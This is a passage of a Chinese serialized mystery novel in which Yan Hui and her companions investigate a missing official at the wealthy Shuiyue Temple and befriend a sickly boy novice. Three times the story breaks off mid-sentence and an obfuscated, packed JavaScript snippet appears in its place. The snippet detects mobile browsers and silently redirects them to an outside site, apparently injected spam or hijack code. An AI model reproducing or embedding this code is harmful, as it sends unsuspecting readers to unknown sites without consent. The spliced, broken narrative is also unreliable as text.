话毕，也不管薛世茂还在挣扎，只是用力拖曳着他，在雪白的地面上留下一串狼狈的泥渍。 晏回一言不发，放下棉帘，重又坐回到车厢里。冬日的阳光透过窗帘的缝隙摸了进来，小心翼翼地在女子的侧脸上镀了一层辉光，在那张白皙的脸上形成了泾渭分明的两片区域，一面如佛，一面如魔。 （第三卷·完） 59. 无尽灯（一） 有法门名无尽灯，汝等当学。譬如一灯然百千灯，冥者皆明，明终不尽。——《维摩诘经·菩萨品》 他在一种窒息感中惊醒。黑暗如同有形的实体，死死捂住姚逢春的口鼻。姚逢春大睁着眼睛，试图在一片黑暗中窥见些什么。眼珠在眼眶中逡巡了数圈，才终于适应了黑暗，拼凑出些许轮廓。 他似乎躺在一个箱子里。鼻尖儿上方三寸就是厚实的木板，身体两侧不过一指的距离，亦有木板间隔。他的手脚被麻绳紧紧缚着，胳膊扭在背后，已经压得没有感觉了。身下也是硬邦邦的，硌得人生疼。 姚逢春急促地呼吸着，拼命思考自己究竟是如何被困于箱箧之中的。可他的脑海中一片空白，只有不断渗出滴落的汗珠，提醒着他自己还活着。 忽然，这“箱箧”轻微晃动了一下。 姚逢春吓得几乎要喊出声来。 紧接着，“箱箧”又晃动了一下，隐隐地，耳畔有哗啦啦的水声传来。 姚逢春一怔，原来这不是箱箧，而是——船！ “来人啊！救命啊！”姚逢春憋足了劲儿，大声叫喊起来。 没有人回应他，绝望的呼救声在狭窄的空间里回荡，像闷在棺材里一般。 姚逢春唯有拼命踢踹身体上方的木板，双脚蹬得生疼，木板却纹丝不动。他心跳如擂鼓，冷汗顺着额角往下流，惊恐交加之下，他除了记得自己叫姚逢春之外，竟是记不起其他丁点儿的事情，就仿佛他自出生便囚于这船中一般。 不，这不仅仅是船，这是漂在水上的棺材。 不断地蹬踹和嘶喊，耗尽了姚逢春全部的气力。他绝望地凝着头顶的那块木板，费力地喘息着。 突然，“吱呀”一声，上方的木板裂开了一道缝隙！新鲜的空气与明净的月光同时汹涌而入，扑在姚逢春惊恐与欣喜交织的脸上。下一瞬，那道细长的裂缝陡然扩大，木板被用力掀起，一张巨大的脸猛地凑了过来。 那绝非人类的面容，黑檀木雕刻的五官粗粝而夸张，弯曲尖锐的鼻子如同一把匕首，直挺挺地杵在那没有温度的面具上，嘴巴以一种不可思议的弧度裂开，呲出口中参差不齐的尖牙。那笑容是如此诡异，既似狞笑又似哭嚎，带着说不出的窒息感。而更为可怖的是面具下藏着的东西，预留出的眼洞部分没有眼睛，只有一片深不见底的黑暗。 姚逢春刚欲尖叫，那鬼面忽地出手，一把拎起姚逢春的领口，将他从拉开的木板缝里提了出来！ “啊——！” 一声惨叫划破夜空，但也只响了这么一声，便再无声息了。 * * * 雪后初霁，一辆牛车在玉仙元君祠缓缓停稳。楚庸当先从车辕上翻下，掀开门帘，将车厢中的众人一一迎出。抬头望去，一座破旧的道观正隐在松涛之间。青瓦覆顶，朱漆斑驳，连匾额上的“玉仙元君祠”都被苔藓侵蚀得只剩轮廓，说不出的破败寥落。 “我——就——知——道——”唐珠儿哭丧着脸，拉长着音，浑身瘫软地靠在青杳身旁。 青杳笑着劝道：“我倒是觉得此地山色秀美，松林环绕，不失为一处福地。” “贫道亦作此想。”范凌舟一扬眉，不咸不淡道，“明月松间照，清泉石上流，某些人啊只认得街头巷口的油旋儿和糖墩儿，哪识得这古观松涛里藏着的诗情画意，哎，暴殄天物哟——” 楚庸刚把青墩儿拴好，就听见范凌舟抢白唐珠儿，不由得心中替自己的好兄弟担忧。果不其然，下一瞬唐珠儿便飞起一脚，冲着范凌舟的后腰就踹了过去。 “诶——不可！莫伤着！” 楚庸刚欲拦阻，却见范凌舟不停嘴地说着，头也不回，腰胯便向旁边一扭，轻飘飘地躲开了攻击。 唐珠儿那声气急败坏地“哇呀呀呀”还没喊出口，就听松林中突然传来一声轻咳，音量不高，却如石子投入静水，压过了众人的喧嚣。 “何人在此喧哗，扰本道清修？” 只见延伸至松林深处的小路上，一位老道缓步踱出。老道须发皆白，灰布道袍已经洗得褪色，却依旧干净挺括。他手中拄着一根枯藤杖，杖头挂着一个青玉葫芦，随着他的步伐轻轻晃动。老道在祠前的石阶上站定，眼神扫过众人，不怒自威。 晏回上前一步，敛衽行礼：“晚辈晏回晏西楼，见过道长。” “晏西楼——”老道蹙眉道，“可是济南府长生观的晏西楼！？” “正是在下。” 老道闻言，瞳孔微缩，眉头几不可察地动了一下。他盯着晏回看了片刻，仿佛在确认什么，随即缓缓点头，长叹一声：“后生可畏啊……知雪，出来见礼。” 话音才落，玉仙元君祠的侧门便应声而开，一道瘦削高挑的身影出现在众人面前。那是一名面容极为俊美的青年，眉目精致如画，几与女子无异。一袭月白长衫，腰束玉带，更衬得那张脸白皙如雪，莹莹如月。 “哇——”初始，范凌舟也惊艳于这位青年男子的容色出众，可及至听到身后唐珠儿和青杳下意识地喟叹之时，他不由得心头一紧，朝晏回看去。 晏回倒是面色平静，并无波澜，范凌舟不易察觉地吁出一口气，放下心来。 那年轻男子躬身下拜，还未开口，泪已盈眶：“在下姚知雪，恳请诸位救救我哥哥……” “哇——”唐珠儿和青杳又不由得叹了一声，这姚知雪不仅面若盛春之花，连声音也柔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17184859|196986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 婉动听，若是不细看，真真同美貌女子一般无二。范凌舟不自觉地翻了个白眼。 姚知雪从怀中掏出一张字条，纸张泛黄，上面只有三个墨字：水月寺。 “家兄姚逢春，乃是监察御史手下照磨，月余前，来汜水县探查官员风化一事，近些日子却断了联系。家兄行事稳妥，生怕家中老母担忧，是以时常来信，绝不会这般一走了之。我心中焦急，去家兄住宿的驿站打听，家兄的褡裢包裹一应俱全，连代表身份的腰牌和告身都未曾带走。只怕……只怕……” 姚知雪狠狠一咬嘴唇，压住溢出唇齿的哭腔：“寻遍了整个驿站，只在床头与墙角的夹缝间寻到这张字条……” 范凌舟大踏步上前，从姚知雪手中接过那张字条，端详片刻，又凑在鼻端一嗅：“这是黄表纸，质地细腻，颜色均匀，应是优质竹浆所制，寻常人家是用不起的。再加上，这纸张上带有浓浓的酥油与檀香的香气，想来——”他颇为自信地回看了晏回一眼，见晏回也正盯着他瞧，当下扬起嘴角笑道，“想来，近期定是有哪座大寺正在筹备法会盛事吧？” “正是！”姚知雪连忙道，“兄台好眼力，再过七日，正是水月寺的莲华盛会！” “呵——”范凌舟眯起眼睛，“又是水月寺。” 那老道见范凌舟讲得头头是道，不由长叹一声道：“逢春这孩子，去年秋里来汜水县公干，便常绕路到老道这破观歇脚。他性子实诚，虽为朝廷小吏，却懂些老庄之道，我们一老一少，常于松林下煮茶论经，倒成了忘年之交。” 老道顿了顿，将慈爱的目光投向姚知雪：“可如今……逢春音讯全无，知雪这孩子又这般焦灼……老道我半截身子已埋入黄土，守着这斑驳道观也没多少光景了。若诸位能费心寻回逢春，让他们兄弟二人重聚，这玉仙元君祠的一砖一木、松涛青瓦，便全数赠予诸位——权当是谢礼，也算是全了我对逢春这孩子的一番心意。” 老道双手合十，朗声道：“贫道言出必行，绝不食言。无量天尊——” 姚知雪闻言，忽地一声跪倒，实实在在地在地上磕了三个头，砸得地面砰砰作响：“恳请诸位恩公，救阿兄一命！” 雪后的山峦，静寂无声。在这一方沉默不语的净土之中，将头抵在雪地上的姚知雪，听到布料柔软的摩擦声。小心翼翼地抬起头，那年轻女子已晃晃然行至身前。她微微前倾着身子，冬日的光影绵绵地拢下来，反射着地面如云的雪影，让她整个人都亮堂起来。 茫茫雪色里，梅似雪，雪如人，都无一点尘。 姚知雪不由得怔住了。 她向他伸出手，一点光斑跃动在她的指尖：“苦主请起，这竹帖，我们接了。” 60. 无尽灯（二） 残雪未尽，汜水县郊的小路上泥雪混杂，极是难行。一位挑担的货郎正深一脚浅一脚地行在路上，高声唱着货郎调，意图吸引并不存在的买家。货郎担的竹筐里摆放着五花八门的小物件儿，垒得小山般高，更让货郎步履维艰。他每踩一步都“啪叽”陷进泥里半寸，拔脚时带出一串泥星子，越走越觉得裤腿湿冷，恨不得马上掉头回家钻被窝去。 货郎心中正自抱怨着，忽听身后马蹄飒踏，只见两匹油光水滑的棕色骏马正拉着一辆花梨木嵌铜饰的双驾马车直奔而来。马车帷幕是深蓝色的蜀锦，一看就价值不菲。这道路本就狭窄，货郎担子沉重，避无可避。眼瞧着那车轮碾过溅起的半尺高泥水，货郎暗自叫苦。 若是寻常百姓赶的牛车，他或许敢张罗两嗓子，提醒对方注意点儿自己的货物。可那花梨木马车一看就价值连城，别说那两匹骏马了，就是那半寸门帘子就比自己这全部家当金贵。货郎心一横，把扁担卸下，搁到路沿上，伸展双臂用身体挡住筐里的货品。 谁料，身后辘辘的车轮声径自缓了下来，两匹马儿也在车夫的牵制下，收拢蹄子，踏步缓行，竟是半点儿泥星子都没带起来。 货郎瞪大了眼睛，这才敢抬头细看车辕上的人。那车夫约莫二十出头，穿着浆洗得发亮的青布短褂，腰束一条黑布带，衬得身姿挺拔。容长脸膛，长眉入鬓，颇有正气。见货郎望过来，他微微侧转脸颊，笑着朝货郎点了点头。那动作自然又温和，全然没有半分豪奢人家的倨傲。 货郎脸上一阵发烫，暗自啐了自己一口：竟是我狗眼看人低了！这般体恤人的富贵子，活该人家有钱！ 逆着货郎感激艳羡的目光，双驾马车沿着小路向西行去，没走多远，马蹄声便和一阵轻快的童谣撞在一起。 路边土坡上，正有三五孩童蹲在泥洼边玩泥。几个小娃娃拖着清鼻涕，奶声奶气地唱着：“莲华到，仙门开，檀越捐钱金宝来；黄表烧，头磕百，云峰山上取银袋——” 马车吱呀一声停下了。蜀锦帷幕被一只莹白如玉的手轻轻撩开一角，轻柔地向顽童们招了招。那手腕上戴着一只羊脂玉的镯子，与白皙的皮肤相映生辉。 孩童中有胆子大的，吸溜着鼻涕站起身来，扭扭捏捏地凑到马车前。 帘幕后的阴影中探出一张极美的脸，那双罕见的琥珀色眸子，在黑暗之中如同某种大型野兽的眼瞳，静静地凝在孩童的脸上，小男孩儿不由得打了个寒战。 “小娃娃，你们唱的仙山，是哪里呀？” 小男孩儿直勾勾地盯着帘内的脸，半晌发不出声音。 手腕轻转，一小把散碎银子抛了出来。 男孩儿究竟是年纪长些，一见银子，眼神儿也活泛了，赶紧应道：“就……就是那水月寺后的云峰山！我嬢嬢说，七日后的莲华盛会，仙门……仙门就开啦！” 另有一羊角辫丫头也趴在地上抢着碎银子，嘴里补充道：“我娘说，捐最多钱的檀越，能拿仙山金银呢！” “仙山金银——嗤！”马车里响起一声轻笑，又是一把碎银子抛了出来。孩子们也不再害怕，呼啦啦冲上来捡着银钱。 帘幕缓缓放下，那女声悠悠道：“走，楚兄，咱们便去看看那水月仙山。” * * * 在双驾马车在山门停稳之前，水月寺的智空住持便早已久候多时了。 “阿弥陀佛，贵人驾临，贫僧有失远迎！”智空住持脸大如盘，褶皱却因夸张的笑容层层堆叠，油腻腻，圆滚滚，活像一个刚刚捞出来的虎皮鸡蛋。 深蓝蜀锦帷幕掀开，一名女子在车夫、小厮和丫鬟的搀扶下，缓步下了马车。女子面容极美，人如弱柳扶风，裹在一袭银红撒花软缎锦袄里，领口绣满了缠枝莲，每朵莲瓣上都缀着细如粟米的东珠，随着女子的动作葳蕤生光。如云的鬓发间插着一支赤金点翠步摇，更衬得她肌肤胜雪，几乎能看见皮下淡青的血管。女子微微抬眸，冲着智空住持柔柔一笑，正是乔装改扮的晏回。 “见过智空大师。妾身听闻莲华盛会在即，特来替夫君添些香火。” 跟在一旁扮作小厮和丫鬟的范凌舟与唐珠儿，也跟着晏回端正施礼。 智空大师被那满头珠翠晃得眼睛都亮了，赶紧躬身作揖：“檀越【1】夫人慈悲！正所谓，锦上添花易，雪中送炭难。盛会在即，本寺正要为佛像补足金箔，恰是捉襟见肘之时。夫人的善款，真是……” 智空大师笑容满面，将晏回一行往大雄宝殿的方向引。“七日之后的莲华盛会，那可是汜水县百年难遇的盛事！檀越夫人此行恰逢盛事，实在是有佛缘啊，有佛缘！”晏回只当智空大师的絮絮叨叨是苍蝇展翅嗡鸣，眼睛却一刻不敢耽误地四下扫量着。 只见山门正额的汉白玉石刻“水月寺”，笔力沉雄如铁，乃是嘉靖二十年状元沈坤所书，每字径尺，方正雍容。前殿为天王殿，弥勒菩萨、韦陀菩萨南北站立；广目、增长天王，持国、多闻天王东西对座。再至主殿大雄宝殿，就更是堆金砌玉、铺锦叠翠。三丈六尺高的金身大佛端坐于九层莲台之上，背光嵌满云母片与珍珠，阳光透过殿顶藻井洒下，佛身似有金光流动，当真是令人目不暇接。 这般豪奢，便是济南府的兴福寺都得避其锋芒，又岂有“捉襟见肘”一说？ 晏回掩下唇边的冷笑，佯装弱不胜衣地歪靠着唐珠儿，柔柔道：“妾身入得寺来，耳听得香客们在议论‘仙山’一事。说是贵寺后面的云峰山乃是自古仙气灵聚之所，妾身素来信这些玄妙，愿多捐些善款，只求盛会当日能入仙山祈福，不知大师可否通融一二？” 智空住持脸上的笑容一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17184860|196986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 滞，热情洋溢的声音缓了下来，似是万分为难：“阿弥陀佛，檀越夫人恕罪！这寺后的云峰山乃是纯阳圣境，依佛门古制，女眷身带阴柔之气，会破了仙门开启的祥瑞，实在是……” 他小心翼翼地打量着晏回的表情，补充道：“上个月，县里张员外家的女檀越不听规劝，非要闯山，结果，半路摔断了腿不说，还染了风寒，折腾了数日都不见好转。可见，佛法无边，护持净地，绝非儿戏。”他的语气带着几分惶恐，更多的却是不容置喙的坚决。 “啊——”晏回以帕掩口，似是被智空住持所讲的恶业感召吓到了，柳眉垂耷下来，喃喃道：“既是如此……哎……是妾身唐突了。” 唐珠儿听了，噘起嘴不乐意道：“大师，我们夫人可是千里迢迢从京城赶来，捐的香火钱又岂是那张员外李员外的家眷能比的？这都不能通融吗！” “掌嘴……”晏回轻轻地拍了一下唐珠儿的手背，却丝毫没有拦阻之意。 “这……”智空住持蹙起了眉，摇头道，“阿弥陀佛！净地需凭自身福德感应，又岂是香火钱能换的？莫说是檀越夫人，便是持戒精严的比丘尼师父都不得踏足仙山。万望檀越夫人，恕罪啊！” 此话一出，便是晏回笑意盈盈的脸上也有了失落之色，智空住持只得打起十二万分精神，赔着笑脸，将话题往远了扯。 正自说着，却听到东边廊下传来一阵轻快的脚步声。只见一群小沙弥穿着灰布僧袍，光头锃亮浑圆，手里攥着经卷，正叽叽喳喳地一路行来。最小的那个被门槛绊了个趔趄，手里的经卷散了一地，他爬起来抹了抹清鼻涕，赶紧去捡，引得旁边的小沙弥一阵哄笑。 晏回一行被小沙弥们的笑闹声吸引了注意，皆循声望去。智空住持脸上的笑容敛了，对晏回歉声道：“檀越夫人见谅，这些稚子尚未修得清净心，失了出家人的威仪，扰了贵人的清修。” 继而，转过身对个头最小的沙弥严厉斥道：“明心！经卷乃渡人舟，岂能任其散落尘地？僧袍乃福田衣，又岂可被涕泗污染？”缩成一堆的小沙弥们也遭了训诫，“佛门之地当守‘静’戒，六根不净才会喧哗扰人，师父教你们的‘身口意三业清净’皆忘了吗？贵客在此，你们的嬉笑便是‘口业’，须得忏悔。” 最小的沙弥明心赶紧垂首认错：“弟子知错了……”其他的小沙弥也不敢再笑，蔫头耷脑地告罪着。 智空威严地点了点头，道：“明心，你把散落的经卷用净布擦拭，供在佛前忏悔三个时辰；其他人，回禅房诵读《毗尼日用切要》二十遍，去吧！” 智空住持自觉处理得颇为圆满，脸上刚现出一丝笑意，却听身后的晏回突然“呀”的一声，用锦帕紧紧捂住嘴，肩膀不可抑制地耸动起来。眼泪如同断了线的珠子，不过眨眼之间，便浸透了帕子。 61. 无尽灯（三） 智空住持让晏回这一哭受惊不小，莲华盛会在即，寺庙中本就香客众多，他作为一寺之首，自然是众人目光汇聚的焦点。可如今，女檀越好端端地便哭了，还哭得如此梨花带雨，惹人生怜，若是让别有用心的人看了去，只怕会生出猥琐卑鄙的猜疑。 他赶紧满脸堆笑地上前劝慰，却见紧跟在女檀越身旁的俊俏小厮跟他使了个眼色。 那小厮快步上前，半拉半拽地将智空住持请到一旁，小声耳语道：“好叫智空大师知，我家夫人三年前曾夭折过一个幼子，刚满五岁，眉眼和方才那个最小的小师父……就是叫明心的那个竟有七分相似。您说这不是巧了吗！夫人平日里最是念着那孩子，今日见了，又是喜欢又是伤心，一时没忍住，这才失了身份，让大师受惊了。” 智空松了一口气，双手合十道：“阿弥陀佛，原来如此，这倒是老衲的疏忽了。只是檀越夫人哭泣不止，这该如何是好啊？” 范凌舟扮作的小厮立时颇为体贴地替他出主意道：“依小的看，夫人似乎和这小师父颇有缘分，可否通融一下，让他陪夫人说说话？” “这……”智空看了看吓得呆站在原地的明心，又看了看哭得上气不接下气的晏回，还自犹豫着，却听范凌舟小声催促道：“大师，我家夫人在府里娇生惯养，老爷可是连句重话都不曾有过。方才您不允她去仙山祭拜，已然驳了她的面子，不若此时让那明心小师父说几句软话，也好给夫人宽宽心呐！” 智空思量了半晌，叹了口气：“也罢，既是冥冥中的缘分，老衲便破一次例——明心，你且随檀越夫人去西侧静心偏殿小坐片刻，好好陪着夫人说话，不许耍性子，半个时辰后必须回佛堂忏悔。若敢乱说话，便罚你抄百遍《心经》，听见了吗？” 那明心小师父瞪大了眼睛，小心翼翼地应道：“弟子……弟子遵命。” * * * 西侧静心偏殿中，那个名叫明心的小沙弥拘谨地呆立着，眼观鼻鼻观心，连抬眼偷瞧的动作都不曾有过。 只见这小沙弥的脑袋比寻常同龄孩童大出一圈儿，沉甸甸地压在瘦弱的脖子上。而那脖颈细得如同一截刚抽条的嫩竹枝，皮肤下淡青色的血管清晰可见，随着他的呼吸微微搏动，仿佛稍一用力就会折断。许是站得久了，他时不时地将下巴往胸口方向缩，似乎这样，就能替脖颈分担些许重量。 “来，小师父，吃块桂花糕吧！”在晏回的眼神示意下，唐珠儿用帕子捧了两块桂花糕，放到明心眼巴前儿。 明心只是瞄了一眼，便慌忙摆手，一迭声道：“不敢……不敢……师父说了，外面来的东西我……弟子不能吃的……”他的目光死死钉在自己的鞋尖儿上，秀气的小脸儿涨得通红。 晏回放下手中的茶盏，前倾着身子，柔声道：“明心小师父，莫怕。这桂花糕是素料做的——糯米粉揉的坯，桂花糖调的馅，连蒸糕的油都是寺里后厨的菜籽油，半点荤腥都不沾，绝不会害小师傅坏了规矩。”她站起身，亲自捧起桂花糕，桂花糕清甜的香气被掌心的温度一暖，愈发沁人心脾。“你只尝一小口，不碍事的。若是智空大师问起，便说是我硬塞给你的，由我去跟他赔个不是，保准不罚你抄《心经》，好吗？” 那小沙弥手指动了动，终于大着胆子抬眼瞅了瞅面前的女子。只见晏回眸中并无半分恶意，唯有女子特有的温柔与和暖，让明心不由得心头一颤，他小声嗫嚅道：“那……那只吃一小口……就一小口……” 明心用小手在桂花糕上掰下一小块，珍而重之地放入口中，细细感受着那几乎盛满了整个秋天的甘甜滋味，小脸上露出一丝幸福的笑意。只吃了那么一块，他便不敢再尝，颇为不舍地吮了吮手指，赧然而笑。 晏回看着明心如同受惊的猫儿般小心翼翼的样子，心中不是滋味。虽说那夭折的孩童是范凌舟提前扯下的谎，她与明心也并没有什么前世今生的母子缘分，可那对弱小的怜爱之情，却是人人皆有的古道热忱。 她抬起手，缓缓抚了抚小沙弥瘦削的肩头，柔声道：“这些剩下的桂花糕，我让人用油纸包得严严实实的，放到院儿里石凳下，拿石头压好，旁人不会轻易瞧见。”晏回蹲下身，声音放得更低了些，“小师父若是想吃，便径自取了，独食也好，分与关系好的小师父一道用了也好。若是不想吃，就只当是我不小心落下了，放在那里便也罢了。” 她眉眼弯弯，笑意如同星子从眸里溢了出来，竖起食指压在唇边：“这是我和小师父的秘密。” 明心眼睛一亮，原本紧攥着衣角的小手松开了，冲着晏回端正一礼：“谢……谢谢檀越夫人！您……您真是个大好人！”他的脸颊飞起两团红云，终于露出了五岁孩童该有的天真模样。 晏回也笑了，直起身子道：“我们有了秘密，就是朋友啦！既然是朋友，那小师父你愿不愿意陪着我逛逛这座水月寺？我初来乍到，还不知道哪些地方的景致最是好看呢！” 明心没有犹豫，立刻点头道：“弟子愿意！后院的莲池旁还有座九曲桥，站在桥上能看见池底的锦鲤，檀越夫人见了定是欢喜。” “那咱们就去九曲桥！” * * * 晏回与小沙弥一长一幼，一高一矮，缓步走在莲池畔，扮作小厮和丫鬟的范凌舟和唐珠儿则在后面不远不近地跟着。莲池中豢养的鲤鱼见惯了人影，追着二人的脚步汇聚而来，无数张翕动的鱼嘴聚拢在池边，无声地催促着二人酌情投喂。 晏回接过明心递来的鱼食，一扬手，“啵唧啵唧”的声响便不绝于耳，晏回不由得露出一丝浅淡的笑。 明心仰起头，看着这张在冬日的阳光浸润下， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17184861|196986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 显得格外通透柔和的脸，心里也觉得暖洋洋的。他在水月寺已经待了一年有余，见惯了来往不绝的善男信女，香客檀越，可如面前女子这般面善的，还是头一遭。 只见，对方拍了拍手中的鱼食碎屑，回转过头来。 “明心小师父，我瞧着这寺中似你这般年纪的小沙弥格外多，这是为何啊？”晏回笑眯眯地问道。 明心赶紧敛下眼帘，学着师父们的样子双手合十，道了声佛号：“阿弥陀佛，回檀越夫人，这都是智空师父慈悲。周边村子里若是有家贫养不起孩子的，或是孩子得了病没钱医治的，都可以送到水月寺来做小沙弥。师父说，出家人以慈悲为怀，能救一个是一个。所以这几年，好多爹娘都把孩子送来了……” 见晏回还好奇地瞧着自己，明心不由脸上一红，不好意思地垂下头道：“弟子……弟子也是这般缘由入寺的。” 他不敢抬头回应晏回的目光，自记事以来，明心便过早懂得了世态炎凉，无论是父母叔嫂，亦或是姊妹兄弟，皆因他缠绵病榻而受尽了苦楚。他知道自己是全家人的累赘，所以自愿入寺做一名小沙弥，以求减轻对家庭造成的负担。如今对晏回直言相告，只怕这面善的女檀越亦会觉得自己是个麻烦吧…… 明心悲凉地揣度着，却听见晏回柔柔地吐出一句：“明心小师父，真是……辛苦了。” 明心一怔，似是没有听清般又耷拉着脑袋回味半晌，猛地抬起头，眼圈儿竟是红了。 似乎没有人这样说过，似乎从来没有人觉得他辛苦…… 人们只是觉得自己的父母不易，好不容易得了幺儿，偏偏是个病秧子；只是觉得自己的姊妹兄弟倒霉，本就不多的粮食，偏还要分出些来，给兴许活不了几年的自己；只是觉得水月寺的师父们慈悲，愿意收养他们这些吃白食的累赘…… 可偏偏，她却觉得自己辛苦…… 明心小嘴一瘪，一串泪珠儿噼里啪啦地砸了下来。是啊，他也活得好辛苦，真的好辛苦！ 明明心里委屈得都要喊出来了，明心还是使劲吸了一下鼻子，懂事地摇了摇头：“弟子……弟子不怨旁的，只怨自己身体不争气。” “弟子也想明白了，若是……若是过些日子弟子死了……就不用再吃寺里的素斋，不用爹娘偷偷攒钱给弟子买药……也不用师兄每天额外给弟子留一碗稠粥了……明彻师兄总跟弟子说，出家人要做善事，檀越夫人，你说，弟子若是快些死了，算不算给菩萨省了粮食，给大家减轻了负担，也算是做了善事啊？” “死——才是最无义之事。”晏回的声音有一瞬间难以掩藏的冷意，但她很快又挽起笑容，劝慰道：“明心小师父，只有活着才能多做善事啊，你的明彻师兄一定也是这样想的。” 明心抽噎道：“可是……明彻师兄也死了啊……” 62. 无尽灯（四） 晏回心头一紧，忙蹲下身柔声道：“是檀越夫人不好，提起了你的伤心事。” 明心使劲蹭了一把脸，挤出笑来，一本正经道：“檀越夫人莫自责，师父说过，诸法无常，生灭皆是幻相。明彻师兄去了西方净土，总好过在这浊世受苦——弟子入寺一年有余，见多了生离死别，早已看淡……”他仰起头，阳光落在他细瘦的脖颈上，竟有种与年龄不符的通透，“就像这莲池的水，今日满……明日浅，终究是要流去的，何必执着？” “哎——小师父也莫要这般想，就像这莲池的水……”晏回随着他叹了口气，正欲再说些宽慰的话，眸光却凝在莲池的水面上不动了。 只见，不知何时，水面上泛起一圈又一圈细小的漩涡。如碎银子般的气泡翻涌而出，像有什么在水下牵引，一圈圈往中心旋，连池底的锦鲤都慌得甩着尾巴四散躲开。 晏回眸光一亮，探身去触摸冒着气泡的水面，这可把方才还悲天悯人的明心吓了一跳，慌忙去拉晏回的袖子。 “夫人，当心啊！”明心脸色煞白，扯着袖子，身子拼命向后倒。“池水深着呢！” 晏回倒是全然没有明心的慌乱，好整以暇地抻长了胳膊，将食指缓缓探入池中。虽然已至冬日，可被灿烂的阳光晒着的水面并非冰冷刺骨。可这片被气泡簇拥的水面却截然不同，那种寒意……如同从地底沁出来的一般。 晏回微微蹙眉，正欲对明心询问些什么，却陡然发现，自己和明心已经笼罩在一片骇人的巨大阴影之中。 晏回的脊背猛地绷紧，多年的江湖警觉让她瞬间屏住呼吸，缓缓抬起头。 她的身后不知何时站着一个和尚。他实在太高了，高得几乎要顶到九曲桥的木栏顶端。僧袍下的身躯虬然有力，如同冬眠前的熊罴一般。目光逐渐上移，映入眼帘的脸让晏回都心脏一缩。 那是一张被疤痕彻底吞噬的脸。纵横交错的疤痕从额头劈到下巴，有的深可见骨，边缘翻卷着暗红的肉色；有的则像是齿咬爪挠，密密麻麻又接续不断。一块皮肤皱襞成的丑陋硬块，覆盖了他的左眼，隐约黑洞洞的凹陷。而那只完好的眼睛，冷冷地盯着她和明心，没有半分情绪。 她刚才竟没有听到任何脚步声！连脚下的木板都没发出半点儿吱呀声，这个和尚就像凭空从水里冒出来一样，悄无声息地站在了那里。 晏回自小习武，耳力远超常人，可对方却能在她毫无察觉的情况下接近到阴影笼罩的距离，这意味着……这个疤脸和尚的功力远超于她。 晏回下意识地就想先将明心护在身后，可她的手却抓了一个空，明心蹦蹦跳跳地迎了上去，端端正正对大和尚行了一个礼：“戒通师兄！” 看见明心，那大和尚骇人的面皮抽动了一下，露出一个令人心惊胆战的笑容，声音像含着一块石头：“明……明心师弟……时间……时间到了……师父叫你……去……去佛堂……” 那戒通大和尚直盯着明心，一边说，一边伸过来一个铁铲大的巴掌。明心老实拽住戒通大和尚，歉意地冲晏回施了一礼：“檀越夫人，少陪。” 待戒通拉着明心的背影消失在芜廊深处，晏回的目光依旧没有从他们身上撤回。不远处，范凌舟和唐珠儿也一路小跑着追了上来。 “西楼，没事吧？”范凌舟上下打量着晏回，问道。 晏回微微摇了摇头，低声道：“那个大和尚不简单，无鱼，你盯着他。” * * * 唐珠儿倚靠着树干，两腿悠悠荡荡挂在枝杈间，看上去摇摇欲坠。 她自小就沉迷于这种随时坠落的不安全感，在别人看来揪心的体验，却让唐珠儿觉得莫名舒适。愈是这种情况，她愈要集中全副注意力于自身的平衡上，反而会忽略那些让她痛苦异常的东西。 她高高擎着手，看向自己的两指之间——那里捻着一只制作粗糙的草蟋蟀。草蟋蟀的触须歪歪扭扭，翅膀是用两片不对称的茅草粘的，一看就是孩子笨手笨脚的杰作。它被放在一处不引人注意的石凳下，用手帕包着，藏得很仔细。 那是小沙弥明心送给晏回的回礼。 在她和明心一般大的时候，她也喜欢藏东西。 或是半块发霉的菜饼，或是一小把散碎的桃酥渣，或是不知从哪儿寻来的凉透的黏豆包。她会将这些“美味珍馐”藏在自己挖出的树洞里，每次挨打疼得厉害了，就寻出其中尚能下咽的，含在嘴里，啜取仅剩的甜味儿。 她藏过最大逆不道的东西，是半片包子皮儿。 珠儿记得那日，天气也如今日这般冷，班主家的小少爷穿着狐皮坎肩，正站在廊下啃包子。那透油的大包子，皮儿薄馅儿大，一口咬下去咯吱咯吱地响，油星儿从小少爷的嘴角溢出来，和唐珠儿的涎水一起滴到了地上。 唐珠儿缩在廊檐下，死死盯着他。 那小少爷晌午才用了东坡肉，啃了两口肉馅，胃里觉得腻了起来，随手把剩下的包子皮扔在旁边的狗碗里。那条叫“虎子”的大狼狗凑过去闻了闻，不屑地甩甩尾巴，扭头趴在地上晒太阳。 